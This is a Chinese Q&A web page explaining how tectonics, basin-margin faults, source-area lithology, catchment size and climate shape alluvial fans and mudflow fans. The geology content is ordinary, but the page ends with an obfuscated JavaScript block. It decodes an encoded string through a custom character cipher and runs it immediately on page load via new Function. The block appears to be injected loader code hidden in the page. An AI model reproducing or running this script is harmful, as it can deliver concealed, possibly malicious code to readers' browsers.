扇体形成过程及其沉积特征的影响因素

2025-03-17 01:42:58
推荐回答(1个)
回答1:

冲积扇的形成过程及其沉积特征受多种地质因素影响,其中构造、物源区岩性、气候以及地形等因素尤为重要,构造因素是最根本的因素。构造因素既直接控制着冲积扇的建设,又间接地通过其他因素影响冲积扇的特征。

(一)盆地边缘断裂的控制作用

冲积扇发育在构造盆地与褶皱山系间的结合部位,而且和该地区边界断裂的活动强度密切相关。Bull(1972)和Heward(1978)从不同角度对此进行了详细研究,主要是讨论单一扇体在纵向剖面上的形态特征。Heward则是重点研究边缘断层性质对冲积扇的控制及其所形成的纵向形体,并识别出了盆地边缘三种不同的断裂结构,它们控制了充填盆地之中冲积扇体系的几何形态和范围。

1.持续活动的盆缘断裂

主要与走向滑动带有关,它导致沿相对窄的地带出现巨厚的加积(图5-7a)。其特点是沉降速率巨大,沉积速率很快,侧向相变快。

2.有限后退断裂

在地堑或半地堑中,这类断裂常产生中等厚度的冲积扇体系(图5-7b)。连续的抬升和下切可能产生碎屑型的“倒转地层”。

3.多次后退断裂

可产生阶梯状广泛分布、厚度不规则的冲积扇砾岩(图5-7c),最大的特点就是延伸范围较广。

图5-7 盆地边缘不同类型断裂所造成冲积扇横剖面几何形态的差异

我国中、新生代内陆盆地广为发育,这些盆地多受燕山期断裂构造控制形成断陷盆地及箕状盆地或掀斜盆地,在邻近断裂带一侧几乎都有规模大小不等的冲积扇体系发育。断裂带活动性越强,两侧地块升降差异幅度越大,地质经历越长,以及盆地范围越大,所形成的冲积扇规模也就越大,其几何形态也越多样,内部构造及层序结构也越复杂。

第一类冲积扇发育在构造运动活跃的地区。这种地区的剥蚀区呈现高山深谷地貌。在山前,一个个冲积扇形态清晰,毗连成裙边状,称为冲积裙。单个扇体的横剖面呈不规则双凸形,辐向剖面的顶面呈下凹形。坡度陡缓受构造活跃程度和洪积物岩性的控制,构造运动活跃和泥石流沉积物比例大时扇体较陡。辐向剖面底形与基岩构造特征有关:当平行山系走向的断层位于扇顶部位之下时,剖面呈向盆地变薄的楔形;当扇体之下存在一组走向平行山系的断层时,剖面向盆地呈阶梯状增厚;基底断裂不发育时,剖面呈向盆地增厚的楔形体。现代冲积裙以第一种见得最多,如山西代县盆地五台断裂北盘的冲积扇就是一个典型例子。克拉玛依油田中三叠统的冲积扇则属于第二种情况。

第二类是洪积平原型。它出现在构造活动较为宁静和基底没有断裂的地区,剥蚀区呈低山丘陵地貌,扇体形态不明显,洪水沉积物向盆地呈缓坡状倾斜并增厚。与冲积裙相比,其厚度要小得多。准噶尔盆地西部克拉玛依市一带就属于现代洪积平原。

(二)源区和沉积区的相对活动

源区和沉积区的相对活动可能有4种方式,从而形成4种不同的扇体垂向剖面。

1)源区上升,盆地边缘沉降,或者两者同时沉降,形成简单的水进式冲积扇,垂向剖面表现为在风化基岩表面上首先不整合地接受扇顶沉积物,然后依次向上过渡为扇中、扇缘沉积。

2)源区和盆地边缘同时抬升,形成简单的由扇缘过渡到扇顶沉积的水退式冲积扇,与下伏地层呈整合接触。天山北麓新近纪末的冲积扇多属此类。

3)源区抬升和盆地边缘沉降具有间歇性,形成较复杂的叠复式冲积扇,剖面上表现为部分或完整的水进式冲积扇剖面的重复。

4)源区和盆地边缘间歇抬升,形成镶套式或串珠式冲积扇,横剖面上出现阶地,垂向剖面上只见到最老的冲积扇沉积物。

(三)流域面积与物源的影响

冲积扇的形态和规模大小除受构造因素控制外,还受到下列几种因素的影响,其中包括流域面积、补给水系所携带沉积物的数量、粒级、源区母岩的成分和地形以及气候条件等。

1)流域面积较大的冲积扇,通常比较小源区的同样物质所形成的扇具有较低的坡度;

2)当碎屑的粒级和流体中沉积物的浓度较大时,冲积扇的坡度较陡;

3)在高降水量地区,冲积扇的坡度较缓,而在干旱地区则较陡,这主要是由于在干旱区泥石流沉积比河流沉积更为发育所致;

4)如果冲积扇所流经的地区为页岩或泥质母岩等细粒物质,则其面积和坡度就比流域为砂岩、结晶岩及火成岩等较粗粒沉积岩的冲积扇要大而陡。

旱扇与湿扇的发育受地质构造控制极为明显,在强烈差异升降的活动性断裂带的下盘或断陷盆地边缘,往往有广泛和厚度巨大的冲积扇分布(图5-7)。

不同规模冲积扇的表面从扇根到扇端边缘的高差通常较为悬殊,大型活动性冲积扇的高差可达几百米,这意味着在近端地区有巨厚的沉积物。如果边界(缘)断层继续下沉,高差会更大。然而,大多数冲积扇在辐射剖面上,具有一个中部下凹的轮廓。较大的冲积扇坡度往往较缓,但由泥岩为主的流域盆地所形成的冲积扇中,有35%~75%的坡度比大小近似而以砂岩为主的冲积扇要陡许多,这就是泥流扇体不同于冲积扇的特征之一。

泥流不同于泥石流,它是一个特殊的沉积体,通常也可在盆缘大断裂的下降盘形成扇体,或者说是泥石流的一个变种。其沉积形态的变化范围也可以从薄而广的席状到具有明显边缘的厚层朵状体或扇体(图5-8),主要由细粒与泥质组成,其黏度通常很高。其形成的条件主要是:①气候潮湿,或形成于水下;②泥质物供给量大,并缺少砂、砾的供给;③坡度陡(通常大于正常冲积扇);④物源区以塑性岩体为主。

图5-8 泥流的沉积模式示意图

综上所述,控制冲积扇地质特征的因素主要为三个方面:①构造活动;②气候条件;③物源供给量及岩性。构造活动主要控制着扇体的形态、沉积规模、沉积速率及垂向层序特征;气候条件则主要控制着冲积扇的类型、沉积物的结构及分布;物源性质决定着扇体内部的组成及分布范围等。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();